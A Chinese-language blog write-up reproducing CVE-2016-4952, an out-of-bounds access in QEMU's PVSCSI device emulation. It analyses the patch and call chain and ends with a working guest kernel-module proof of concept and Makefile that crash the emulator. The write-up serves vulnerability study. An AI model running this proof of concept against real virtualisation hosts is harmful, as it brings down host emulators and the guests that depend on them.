這次漏洞復現是我第一次沒有藉助已有復現文章和已有的poc復現的漏洞,所以寫了這篇文章記錄下,如果文章出現什麼錯誤,懇請各位師傅斧正。
環境搭建參照CVE-2015-5165漏洞復現———QENU信息洩露漏洞那篇文章:http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0——QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/
qemu版本:2.3.0
啟動腳本:
qemu-system-x86_64 --enable-kvm -m 1G -hda /home/resery/QEMU/Resery.img -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic -device pvscsi調試腳本:
gdb --args qemu-system-x86_64 --enable-kvm -m 1G -hda /home/resery/QEMU/Resery.img -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netuser,hostfwd=tcp::22222-:22 -net nic -device pvscsi
先從CVE描述下手,看一下這個漏洞屬於是什麼類型的漏洞
QEMU (aka Quick Emulator), when built with VMWARE PVSCSI paravirtual SCSI bus emulation support, allows local guest OS administrators to cause a denial of service (out-of-bounds array access) via vectors related to the (1) PVSCSI_CMD_SETUP_RINGS or (2) PVSCSI_CMD_SETUP_MSG_RING SCSI command.根據描述我們可以知道是由一個越界訪問觸發的拒絕服務漏洞,並且問題出在了PVSCSI上,之後我們再來看一下qemu官網上面的patch信息,patch信息如下
From: Prasad J Pandit <address@hidden>
Vmware Paravirtual SCSI emulation uses command descriptors toprocess SCSI commands. These descriptors come with their ringbuffers. A guest could set the ring buffer size to an arbitraryvalue leading to OOB access issue. Add check to avoid it.
Reported-by: Li Qiang <address@hidden>Signed-off-by: Prasad J Pandit <address@hidden>--- hw/scsi/vmw_pvscsi.c | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-)
diff --git a/hw/scsi/vmw_pvscsi.c b/hw/scsi/vmw_pvscsi.cindex e690b4e..e1d6d06 100644--- a/hw/scsi/vmw_pvscsi.c+++ b/hw/scsi/vmw_pvscsi.c@@ -153,7 +153,7 @@ pvscsi_log2(uint32_t input) return log; }
-static void+static int pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri){ int i;@@ -161,6 +161,10 @@ pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri) uint32_t req_ring_size, cmp_ring_size; m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;
+ if ((ri->reqRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)+ || (ri->cmpRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)) {+ return -1;+ } req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE; cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE; txr_len_log2 = pvscsi_log2(req_ring_size - 1);@@ -192,15 +196,20 @@ pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri)
smp_wmb();++ return 0; }
-static void+static int pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri){ int i; uint32_t len_log2; uint32_t ring_size;
+ if (ri->numPages > PVSCSI_SETUP_MSG_RING_MAX_NUM_PAGES) {+ return -1;+ } ring_size = ri->numPages * PVSCSI_MAX_NUM_MSG_ENTRIES_PER_PAGE; len_log2 = pvscsi_log2(ring_size - 1);
@@ -220,6 +229,8 @@ pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri)
smp_wmb();++ return 0; }
static void@@ -770,7 +781,10 @@ pvscsi_on_cmd_setup_rings(PVSCSIState *s) trace_pvscsi_on_cmd_arrived("PVSCSI_CMD_SETUP_RINGS");
pvscsi_dbg_dump_tx_rings_config(rc);- pvscsi_ring_init_data(&s->rings, rc);+ if (pvscsi_ring_init_data(&s->rings, rc) < 0) {+ return PVSCSI_COMMAND_PROCESSING_FAILED;+ }+ s->rings_info_valid = TRUE; return PVSCSI_COMMAND_PROCESSING_SUCCEEDED; }@@ -850,7 +864,9 @@ pvscsi_on_cmd_setup_msg_ring(PVSCSIState *s) }
if (s->rings_info_valid) {- pvscsi_ring_init_msg(&s->rings, rc);+ if (pvscsi_ring_init_msg(&s->rings, rc) < 0) {+ return PVSCSI_COMMAND_PROCESSING_FAILED;+ } s->msg_ring_info_valid = TRUE; } return sizeof(PVSCSICmdDescSetupMsgRing) / sizeof(uint32_t);-- 2.5.5通過這個patch我們可以發現漏洞出在了兩個函數上,一個是pvscsi_ring_init_data另一個是pvscsi_ring_init_msg。下面我們來具體分析一下這兩個函數
pvscsi_ring_init_data下面的代碼是沒有打patch前的代碼,我們可以看到20行和24行有一個循環,循環多少次分別是由ri結構體的reqRingNumPages和cmpRingNumPages來決定的然而這兩個值是可以被我們控制的,如果說我們給它賦一個很大的值的話那麼在循環的時候就會產生越界的問題
static voidpvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri){ int i; uint32_t txr_len_log2, rxr_len_log2; uint32_t req_ring_size, cmp_ring_size; m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;
req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE; cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE; txr_len_log2 = pvscsi_log2(req_ring_size - 1); rxr_len_log2 = pvscsi_log2(cmp_ring_size - 1);
m->txr_len_mask = MASK(txr_len_log2); m->rxr_len_mask = MASK(rxr_len_log2);
m->consumed_ptr = 0; m->filled_cmp_ptr = 0;
for (i = 0; i < ri->reqRingNumPages; i++) { m->req_ring_pages_pa[i] = ri->reqRingPPNs[i] << VMW_PAGE_SHIFT; }
for (i = 0; i < ri->cmpRingNumPages; i++) { m->cmp_ring_pages_pa[i] = ri->cmpRingPPNs[i] << VMW_PAGE_SHIFT; }
RS_SET_FIELD(m, reqProdIdx, 0); RS_SET_FIELD(m, reqConsIdx, 0); RS_SET_FIELD(m, reqNumEntriesLog2, txr_len_log2);
RS_SET_FIELD(m, cmpProdIdx, 0); RS_SET_FIELD(m, cmpConsIdx, 0); RS_SET_FIELD(m, cmpNumEntriesLog2, rxr_len_log2);
trace_pvscsi_ring_init_data(txr_len_log2, rxr_len_log2);
smp_wmb();}pvscsi_ring_init_msg下面的代碼是沒有打patch前的代碼,和pvscsi_ring_init_data一樣,也是因為控制循環次數的變量是我們可以控制的,從而可以達到越界的目的
static voidpvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri){ int i; uint32_t len_log2; uint32_t ring_size;
ring_size = ri->numPages * PVSCSI_MAX_NUM_MSG_ENTRIES_PER_PAGE; len_log2 = pvscsi_log2(ring_size - 1);
m->msg_len_mask = MASK(len_log2);
m->filled_msg_ptr = 0;
for (i = 0; i < ri->numPages; i++) { m->msg_ring_pages_pa[i] = ri->ringPPNs[i] << VMW_PAGE_SHIFT; }
RS_SET_FIELD(m, msgProdIdx, 0); RS_SET_FIELD(m, msgConsIdx, 0); RS_SET_FIELD(m, msgNumEntriesLog2, len_log2);
trace_pvscsi_ring_init_msg(len_log2);
smp_wmb();}
現再我們已經知道了漏洞函數在哪裡,現再就需要知道怎麼樣才能調用到漏洞函數,我們先啟動虛擬機,然後使用lspci -v命令看一下怎麼樣才能讀寫pvscsi設備,可以看到設備內存的地址地址為0xfebf0000,但是我最開始以為直接mmio就可以訪問到,但其實不然mmio沒有辦法訪問到這塊內存,為了解決這個問題,我們來看一下pvscsi的初始化函數
初始化函數代碼如下,可以看到第29行,註冊了pvscsi的操作函數,我們也可以看到讀寫函數分別是pvscsi_io_read和pvscsi_io_write,並且也可以看到memory_region_init_io函數的第一個參數是s->io_space,也就是說這個內存要是想要訪問到的話需要使用IO來訪問,使用mmio是無法訪問到的
----static const MemoryRegionOps pvscsi_ops = { .read = pvscsi_io_read, .write = pvscsi_io_write, .endianness = DEVICE_LITTLE_ENDIAN, .impl = { .min_access_size = 4, .max_access_size = 4, },};----static intpvscsi_init(PCIDevice *pci_dev){ PVSCSIState *s = PVSCSI(pci_dev);
trace_pvscsi_state("init");
pci_dev->config[PCI_SUBSYSTEM_ID] = 0x00; pci_dev->config[PCI_SUBSYSTEM_ID + 1] = 0x10;
pci_dev->config[PCI_LATENCY_TIMER] = 0xff;
pci_config_set_interrupt_pin(pci_dev->config, 1);
memory_region_init_io(&s->io_space, OBJECT(s), &pvscsi_ops, s, "pvscsi-io", PVSCSI_MEM_SPACE_SIZE); pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->io_space);
pvscsi_init_msi(s);
s->completion_worker = qemu_bh_new(pvscsi_process_completion_queue, s); if (!s->completion_worker) { pvscsi_cleanup_msi(s); return -ENOMEM; }
scsi_bus_new(&s->bus, sizeof(s->bus), DEVICE(pci_dev), &pvscsi_scsi_info, NULL); qbus_set_hotplug_handler(BUS(&s->bus), DEVICE(s), &error_abort); pvscsi_reset_state(s);
return 0;}----那麼這裡就又遇到了一個問題,既然mmio無法使用那就應該是使用pmio了,但是lspci -v的輸出結果裡面也沒有IO埠呀,後來查了點資料發現硬體接入系統的時候,系統會為硬體的寄存器分配連續的IO埠或者IO內存。也就是說lspci -v輸出的memory部分屬於是IO內存,想要讀寫IO內存的話我們需要編寫一個內核驅動,然後運行驅動才可以讀寫到IO內存,簡單的交互代碼如下
#include <asm/io.h>#include <linux/module.h>#include <linux/ioport.h>#include <linux/random.h>
long pmem;void m_init(){ printk("m_init\n"); int i,cmd,cmd_size; int va,offset; pmem=ioremap(0xfebf0000,0x8000); offset=0x10; if (pmem){ writel(value,pmem+offset); }else printk("ioremap fail\n"); iounmap(pmem); return;}void m_exit(){ printk("m_exit\n"); return;}module_init(m_init);module_exit(m_exit);現再我們知道了怎麼才能和設備交互,現再就是要看一下怎麼才能調用到漏洞函數了,我選擇調用的是pvscsi_ring_init_msg函數,這裡我用的vscode查找引用功能可以看到只有一個函數調用了它,對調用它的函數再次查找引用,這時什麼都查不到了,然後我使用搜索功能搜索到了一個使用調用函數的地方
可以從下圖中看到這裡把pvscsi_on_cmd_setup_msg_ring函數的地址賦給了一個函數指針,那麼下面我們就看看哪裡使用了這個函數指針
然後找到pvscsi_do_command_processing函數使用了函數指針,接下來再找一下哪裡調用了pvscsi_do_command_processing函數
然後可以發現有兩個函數調用了它,並且這兩個函數都可以被pvscsi_io_write調用,這兩個函數對應著不同的switch分支,所以現再我們就知道了函數的具體調用鏈
----static voidpvscsi_on_command_data(PVSCSIState *s, uint32_t value){ size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(bytes_arrived < sizeof(s->curr_cmd_data)); s->curr_cmd_data[s->curr_cmd_data_cntr++] = value;
pvscsi_do_command_processing(s);}----static voidpvscsi_on_command(PVSCSIState *s, uint64_t cmd_id){ if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) { s->curr_cmd = cmd_id; } else { s->curr_cmd = PVSCSI_CMD_FIRST; trace_pvscsi_on_cmd_unknown(cmd_id); }
s->curr_cmd_data_cntr = 0; s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;
pvscsi_do_command_processing(s);}----static voidpvscsi_io_write(void *opaque, hwaddr addr, uint64_t val, unsigned size){ PVSCSIState *s = opaque;
switch (addr) { case PVSCSI_REG_OFFSET_COMMAND: pvscsi_on_command(s, val); break;
case PVSCSI_REG_OFFSET_COMMAND_DATA: pvscsi_on_command_data(s, (uint32_t) val); break;
case PVSCSI_REG_OFFSET_INTR_STATUS: trace_pvscsi_io_write("PVSCSI_REG_OFFSET_INTR_STATUS", val); s->reg_interrupt_status &= ~val; pvscsi_update_irq_status(s); pvscsi_schedule_completion_processing(s); break;
case PVSCSI_REG_OFFSET_INTR_MASK: trace_pvscsi_io_write("PVSCSI_REG_OFFSET_INTR_MASK", val); s->reg_interrupt_enabled = val; pvscsi_update_irq_status(s); break;
case PVSCSI_REG_OFFSET_KICK_NON_RW_IO: trace_pvscsi_io_write("PVSCSI_REG_OFFSET_KICK_NON_RW_IO", val); pvscsi_process_io(s); break;
case PVSCSI_REG_OFFSET_KICK_RW_IO: trace_pvscsi_io_write("PVSCSI_REG_OFFSET_KICK_RW_IO", val); pvscsi_process_io(s); break;
case PVSCSI_REG_OFFSET_DEBUG: trace_pvscsi_io_write("PVSCSI_REG_OFFSET_DEBUG", val); break;
default: trace_pvscsi_io_write_unknown(addr, size, val); break; }
}----知道了調用鏈後我們來分析一下調用鏈中的函數,來確定是否有一些check會使我們無法調用到漏洞函數,首先我們可以在調用鏈函數中發現pvscsi_do_command_processing函數中會調用handler_fn這個函數指針指向的函數,只不過調用哪個函數是由s->curr_cmd決定的
static voidpvscsi_do_command_processing(PVSCSIState *s){ size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(s->curr_cmd < PVSCSI_CMD_LAST); if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) { s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s); < CALL s->curr_cmd = PVSCSI_CMD_FIRST; s->curr_cmd_data_cntr = 0; }}調用哪個函數由s->curr_cmd決定,那麼我們就需要看一下我們是否可以控制s->curr_cmd的值,對應的我們可以在漏洞調用鏈函數中看到pvscsi_on_command函數中可以對s->curr_cmd並且賦的值只要小於10大於0即可,然後我們需要確定一下我們要觸發的漏洞函數需要s->curr_cmd的值為多少才可以觸發
enum PVSCSICommands { PVSCSI_CMD_FIRST = 0, /* has to be first */
PVSCSI_CMD_ADAPTER_RESET = 1, PVSCSI_CMD_ISSUE_SCSI = 2, PVSCSI_CMD_SETUP_RINGS = 3, PVSCSI_CMD_RESET_BUS = 4, PVSCSI_CMD_RESET_DEVICE = 5, PVSCSI_CMD_ABORT_CMD = 6, PVSCSI_CMD_CONFIG = 7, PVSCSI_CMD_SETUP_MSG_RING = 8, PVSCSI_CMD_DEVICE_UNPLUG = 9,
PVSCSI_CMD_LAST = 10 /* has to be last */};
static voidpvscsi_on_command(PVSCSIState *s, uint64_t cmd_id){ if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) { s->curr_cmd = cmd_id; } else { s->curr_cmd = PVSCSI_CMD_FIRST; trace_pvscsi_on_cmd_unknown(cmd_id); }
s->curr_cmd_data_cntr = 0; s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;
pvscsi_do_command_processing(s);}回到pvscso_commands這個數據結構上來,我們需要觸發的函數是pvscsi_on_cmd_setup_msg_ring,可以看到這個函數的位置是由PVSCSI_CMD_SETUP_MSG_RING決定的,然後我們可以在枚舉PVSCSICommands裡面看到PVSCSI_CMD_SETUP_MSG_RING的值為8,也就是說s->curr_cmd的值為8時就可以觸發到漏洞函數
enum PVSCSICommands { PVSCSI_CMD_FIRST = 0,
PVSCSI_CMD_ADAPTER_RESET = 1, PVSCSI_CMD_ISSUE_SCSI = 2, PVSCSI_CMD_SETUP_RINGS = 3, PVSCSI_CMD_RESET_BUS = 4, PVSCSI_CMD_RESET_DEVICE = 5, PVSCSI_CMD_ABORT_CMD = 6, PVSCSI_CMD_CONFIG = 7, PVSCSI_CMD_SETUP_MSG_RING = 8, PVSCSI_CMD_DEVICE_UNPLUG = 9,
PVSCSI_CMD_LAST = 10 };
static const struct { int data_size; uint64_t (*handler_fn)(PVSCSIState *s);} pvscsi_commands[] = { [PVSCSI_CMD_FIRST] = { .data_size = 0, .handler_fn = pvscsi_on_cmd_unknown, },
[PVSCSI_CMD_CONFIG] = { .data_size = 6 * sizeof(uint32_t), .handler_fn = pvscsi_on_cmd_config, },
[PVSCSI_CMD_ISSUE_SCSI] = { .data_size = 0, .handler_fn = pvscsi_on_issue_scsi, },
[PVSCSI_CMD_DEVICE_UNPLUG] = { .data_size = 0, .handler_fn = pvscsi_on_cmd_unplug, },
[PVSCSI_CMD_SETUP_RINGS] = { .data_size = sizeof(PVSCSICmdDescSetupRings), .handler_fn = pvscsi_on_cmd_setup_rings, },
[PVSCSI_CMD_RESET_DEVICE] = { .data_size = sizeof(struct PVSCSICmdDescResetDevice), .handler_fn = pvscsi_on_cmd_reset_device, },
[PVSCSI_CMD_RESET_BUS] = { .data_size = 0, .handler_fn = pvscsi_on_cmd_reset_bus, },
[PVSCSI_CMD_SETUP_MSG_RING] = { .data_size = sizeof(PVSCSICmdDescSetupMsgRing), .handler_fn = pvscsi_on_cmd_setup_msg_ring, },
[PVSCSI_CMD_ADAPTER_RESET] = { .data_size = 0, .handler_fn = pvscsi_on_cmd_adapter_reset, },
[PVSCSI_CMD_ABORT_CMD] = { .data_size = sizeof(struct PVSCSICmdDescAbortCmd), .handler_fn = pvscsi_on_cmd_abort, },};但是當我們給s->curr_cmd賦值為8的時候依然無法調用到漏洞函數,這裡是因為pvscsi_do_command_processing函數裡面還有一個檢測,這裡可以看到需要bytes_arrived大於等於pvscsi_commands[s->curr_cmd].data_size,然後在動調的時候可以看到pvscsi_commands[s->curr_cmd].data_size的值為136,然後s->curr_cmd_data_cntr的值在每一次調用pvscsi_on_command_data函數的時候都會加1,所以也就是說我們需要調用136 / 4 = 34次pvscsi_on_command_data函數才可以使得bytes_arrived大於等於pvscsi_commands[s->curr_cmd].data_size,從而調用到漏洞函數
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) { s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s); ....}現再我們已經知道了漏洞調用鏈,還有相關的check怎麼繞過,所有的準備工作都已經做好了,下面就是需要來分析一下具體代碼應該怎麼寫了
第一步就是要現設置s->curr_cmd的值為8
第二步調用34次pvscsi_on_command_data函數,每次寫的val都寫的大一些最後第34次調用的時候就可以觸發到漏洞函數
這裡還有一點需要注意一下,就是如果選擇了pvscsi_ring_init_msg函數作為最後要觸發的函數的話,這個函數裡面有一行代碼會根據我們輸入的val計算一個值存在len_log2裡面,但是這裡給它賦值是通過循環複製的,如果說我們每次寫的val過大就會循環好久,所以我們的val也不能寫的過大
POC代碼如下:
#include <asm/io.h>#include <linux/module.h>#include <linux/ioport.h>#include <linux/random.h>
#define PVSCSI_REG_OFFSET_COMMAND_DATA 4
uint64_t pmem;
static void poc(void){ printk("Hacking\n");
pmem = ioremap(0xfebf0000,0x8000);
int i=0;
writel(0x8,pmem); for(i=0;i<34;i++){ writel(0x100000,pmem+PVSCSI_REG_OFFSET_COMMAND_DATA); } iounmap(pmem); return;}
static void exit(void){ printk("Hacked By Resery\n"); return;}
module_init(poc);module_exit(exit);有了代碼之後我們需要把代碼編譯為一個內核模塊,編譯內核模塊和我們平時編譯程序不太一樣,這裡我直接去查了一下怎麼編譯,搜到一個Makfile然後自己改一改就可以了,Makefile如下:
obj-m := poc.o modules-objs:= poc.o #生成這個模塊名所需要的目標文件
KDIR := /lib/modules/`uname -r`/build
PWD := $(shell pwd)
default: make -C $(KDIR) M=$(PWD) modules
clean: rm -rf modules.order Module.symvers poc.ko poc.mod.c poc.mod.o poc.o編譯好之後運行poc效果如下:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4952
https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg03774.html
https://www.tuicool.com/articles/MzqYbia
https://blog.csdn.net/tangchao198507/article/details/6122489
(點擊「閱讀原文」查看連結)